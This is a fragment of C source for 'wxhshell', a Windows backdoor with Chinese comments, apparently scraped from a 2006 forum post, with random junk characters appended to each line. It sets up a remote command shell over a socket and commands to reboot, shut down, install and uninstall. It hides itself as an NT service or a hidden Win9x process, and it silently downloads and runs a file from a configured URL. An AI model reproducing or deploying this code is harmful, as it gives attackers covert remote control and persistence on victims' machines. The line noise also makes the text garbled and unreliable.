  } W2k~N X#@  
  else { Glr.)PA  
sig_2;  
    switch(cmd[0]) { 3N21[i2/m  
  ;vx9xs?6  
  // 帮助 HTG;'$H^  
  case '?': { h^)2:0#{I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dd+).*  
    break; xVP GlU  
  } I|:j~EY  
  // 安装 Bk F[nL*|  
  case 'i': { G~Sfpf  
    if(Install()) re*/JkDq3K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V]2z5u_q  
    else $b$D[4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }R x%&29&  
    break; {%Y7]*D  
    } ;sf/tX  
  // 卸载 }ie]7N6;  
  case 'r': { 9.B7Owgr89  
    if(Uninstall()) HKwGaCj`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |"< I\Vs:  
    else !|/fVWH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N@$%0!  
    break; )em.KbsPPF  
    } Z0=OR^HjA  
  // 显示 wxhshell 所在路径 uwka 2aSS  
  case 'p': { |<0@RCgM  
    char svExeFile[MAX_PATH]; #rwR)9iC0  
    strcpy(svExeFile,"\n\r"); SJ-Sac58r  
      strcat(svExeFile,ExeFile); ]lY9[~ v  
        send(wsh,svExeFile,strlen(svExeFile),0); loJ0PY'}=  
    break; `dZ|}4[1  
    } %r"GL  
  // 重启 9vu8koL  
  case 'b': { '3Ie0QO]"%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;=OH=+R l  
    if(Boot(REBOOT)) ._Xtb,p{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lUEyo.xVt  
    else { c"ztrKQQ  
    closesocket(wsh); ?+\,a+46P_  
    ExitThread(0); \YS?}! 0  
    } nz\fN?q  
    break; rWXW}Yg  
    } |9I;`{@  
  // 关机 O)R0,OPb  
  case 'd': { F?kVW[h?q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @El<"\  
    if(Boot(SHUTDOWN)) *@nUas 2"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?s]`G'=>V`  
    else { JPG!cX%  
    closesocket(wsh); 4/?Zp4g  
    ExitThread(0); )QD}R36Ic  
    } `9l\ ~t(M  
    break; $ Zr,-  
    } ise}> A!t  
  // 获取shell ,0bM* qob  
  case 's': { z sPuLn9G  
    CmdShell(wsh); )|x5#b-lz  
    closesocket(wsh); b*KZe[#M1  
    ExitThread(0); aw1J#5j`n  
    break; M'iKk[Hjfx  
  } ~@a R5Q>us  
  // 退出 f,>i%.  
  case 'x': { ex458^N_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]o$/xP  
    CloseIt(wsh); rUjr'O0  
    break; G6 5N:  
    } D$E9%'ir  
  // 离开 `t&;Yk]-L  
  case 'q': { C 5 UDez  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S+Yg!RrNqj  
    closesocket(wsh); ;g jp&g9Q  
    WSACleanup(); 6,1|y%(f  
    exit(1); 5QJL0fc  
    break; h$\h PLx  
        } us%RQ8=k  
  } zQ}N mlk  
  } CaBS0' n  
%LHV0u  
  // 提示信息 [Gy'0P(EQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V?BVk8D};  
} Pltju4.:C  
  } K3DJ"NJ<Ji  
&NeY Kh?  
  return; GN c|)$  
} ,0]28 D  
FaE orQ  
// shell模块句柄 V&v~kzLr+  
int CmdShell(SOCKET sock) T(^8ki  
{ gq3OCA!cX  
STARTUPINFO si;  22~X~=  
ZeroMemory(&si,sizeof(si)); w tLM c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mtddLd,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e622{dfVS  
PROCESS_INFORMATION ProcessInfo; v^fOT5\  
char cmdline[]="cmd"; lG>e6[Wc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :0/o?'s  
  return 0; b] ?;R  
} 4CT9-2UC  
z,YUguc|  
// 自身启动模式 S=SncMO nE  
int StartFromService(void) Cpv%s 1M  
{ $4JX#lkt  
typedef struct }tO<_f))  
{ PM!t"[@&  
  DWORD ExitStatus; $i~`vu*  
  DWORD PebBaseAddress; y/hvH"f  
  DWORD AffinityMask; :~R Fy?xRa  
  DWORD BasePriority; i!x5T%x_  
  ULONG UniqueProcessId; Vj`s_IPY  
  ULONG InheritedFromUniqueProcessId; 5G;^OI!g  
}   PROCESS_BASIC_INFORMATION; "0zXpQi,B  
6D"`FPC  
PROCNTQSIP NtQueryInformationProcess; w]o5L  
_6zP] |VBr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %uqD\`-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BV?N_/DXp  
h_G Bx|c  
  HANDLE             hProcess; ]f-'A>MC  
  PROCESS_BASIC_INFORMATION pbi; T ) f_W  
@ aN=U=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LE80`t>M#  
  if(NULL == hInst ) return 0; ]{+M>i[  
 b(-t)5^}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8;f<qu|w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UH&1c8y}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j{Jc6U  
ur,"K' w  
  if (!NtQueryInformationProcess) return 0; }6,bq`MN  
'# IuY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _QUu'zJ  
  if(!hProcess) return 0; @3TkD_B&  
HT=Am  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^npS==Y]!.  
P9mxY*K)%5  
  CloseHandle(hProcess); ) wo2GF  
$]U5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fif^V  
if(hProcess==NULL) return 0; S]%U]  
D)ne *},  
HMODULE hMod; '[yqi1 &  
char procName[255]; Q1I_=fT  
unsigned long cbNeeded; *5_ 8\7d  
HZ<f(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~muIi#4  
g6/N\[b%  
  CloseHandle(hProcess); vWi. []  
Z0 IxYEp  
if(strstr(procName,"services")) return 1; // 以服务启动 8xpYQ<cax  
NRuG?^/}d  
  return 0; // 注册表启动 a.&#dxgW[  
} 7}tZ?vD  
t6g)3F7T  
// 主模块 w H_n$w  
int StartWxhshell(LPSTR lpCmdLine) iraRB~  
{ -=t3O#  
  SOCKET wsl; 1QF*e'  
BOOL val=TRUE; .m]=JC5'  
  int port=0; E%\7Uo-  
  struct sockaddr_in door; w]Ko/;;^2  
90h1e7ZcC  
  if(wscfg.ws_autoins) Install(); :_QAjU  
['Y+z2k  
port=atoi(lpCmdLine); |RAQ%VXm  
9<(K6Q  
if(port<=0) port=wscfg.ws_port; 8K JQ(  
+ 65~,e  
  WSADATA data; Y K?*7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jPYe_y  
Bpm5dT;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xlqz8cI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T ^%n!t  
  door.sin_family = AF_INET; FH`'1iVH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ADv"_bB:h  
  door.sin_port = htons(port); W]yClx \  
+G!jKta7B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r0g/:lJi  
closesocket(wsl); 97]a-)SA  
return 1; S-LZ(o{ZL  
} q ~Q)'*m  
,JQxs7@2k  
  if(listen(wsl,2) == INVALID_SOCKET) { @X|i@{<';  
closesocket(wsl); igj={==m  
return 1; oF@x]bmU  
} Q{l*62Bx  
  Wxhshell(wsl); v<7Gln  
  WSACleanup(); D _bkUR1  
+{C9uY)$vf  
return 0; #[U 9(44,  
>\?z37 :T  
} Yf!*OGF  
eb.cq"C  
// 以NT服务方式启动 @( n^S?(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 16[-3cJ T  
{ =(|xU?OL  
DWORD   status = 0; \Sw+]pr~  
  DWORD   specificError = 0xfffffff; )pZekh]v  
.?i-rTF:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C'8!cPFVv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n(Q\' ,C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =,AC%S_D~  
  serviceStatus.dwWin32ExitCode     = 0; &G pA1  
  serviceStatus.dwServiceSpecificExitCode = 0; X@yr$3vC  
  serviceStatus.dwCheckPoint       = 0; e:$7^Y,U/  
  serviceStatus.dwWaitHint       = 0; /Oggt^S  
%7NsBR!y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W<rTq0~$?  
  if (hServiceStatusHandle==0) return; $@_<$t  
G+hF [b44'  
status = GetLastError(); %l8*t$8  
  if (status!=NO_ERROR) f E.L  
{ s,$Z ("B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WG8iTVwx  
    serviceStatus.dwCheckPoint       = 0; y7M:b Uh  
    serviceStatus.dwWaitHint       = 0; ?y>Y$-v/C  
    serviceStatus.dwWin32ExitCode     = status; @3 -,=x  
    serviceStatus.dwServiceSpecificExitCode = specificError; a)_rka1(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SY$J+YBLM  
    return; r)6uX  
  } M q^|M~  
%Le:wC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j!lAxlOX  
  serviceStatus.dwCheckPoint       = 0; y^mWG1"O  
  serviceStatus.dwWaitHint       = 0; b(}Gm@#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^nHB1"OCV  
} XDpfpJ,z"}  
n%0]V Xx#  
// 处理NT服务事件,比如:启动、停止 }x kLD!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?~aZ#%*i8  
{ $Wr\ [P:  
switch(fdwControl) tLD~  
{ `%t$s,TiP  
case SERVICE_CONTROL_STOP: A$%Q4jC}  
  serviceStatus.dwWin32ExitCode = 0; >Lw}KO`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UTDcX  
  serviceStatus.dwCheckPoint   = 0; 5!'R'x5e  
  serviceStatus.dwWaitHint     = 0; HDF!`  
  { jFuC=6aF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]g;^w?9h  
  } J+)'-OFt0  
  return; MvFM ,  
case SERVICE_CONTROL_PAUSE: J$#h( D%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; & Fg|%,fv]  
  break; -,~;qSs  
case SERVICE_CONTROL_CONTINUE: }O,U2=Hw`]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xl+DRPzl  
  break; zH)cU%I@.  
case SERVICE_CONTROL_INTERROGATE: 2PVx++*]C  
  break; vix&E`0yD  
}; 0PnD|]9:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2qZa9^}  
} 3[0w+{ (Q  
Yz&*PPx  
// 标准应用程序主函数 QU^/[75Ea0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <91t`&aWW  
{ *2JH_Cj`  
o {=qC:b  
// 获取操作系统版本 I?_E,.)[ I  
OsIsNt=GetOsVer(); eecw]P_?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CY*ngi&  
EKZ$Q4YE  
  // 从命令行安装 kCima/+_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8G0  
DE*MdfP0  
  // 下载执行文件 *0%4l_i  
if(wscfg.ws_downexe) { uy/y wm/?=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .A3DFm3t  
  WinExec(wscfg.ws_filenam,SW_HIDE); gw_|C|!P  
} p= !#],[  
`9.dgV  
if(!OsIsNt) { I2TD.wuIW  
// 如果时win9x,隐藏进程并且设置为注册表启动 1<xcMn0et  
HideProc(); KxO/]  
StartWxhshell(lpCmdLine); )46 0 Ed  
} rkxW UDl   
else :{[<g](  
  if(StartFromService()) u5Qp/ag?N  
  // 以服务方式启动 `S"W8_m  
  StartServiceCtrlDispatcher(DispatchTable); M[ x_#m|  
else \'n$&PFe  
  // 普通方式启动 X'cf&>h  
  StartWxhshell(lpCmdLine); r%0pQEl  
c{1V.  
return 0; Da"yZ\4  
}
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只看该作者 1 发表于: 2006-10-10
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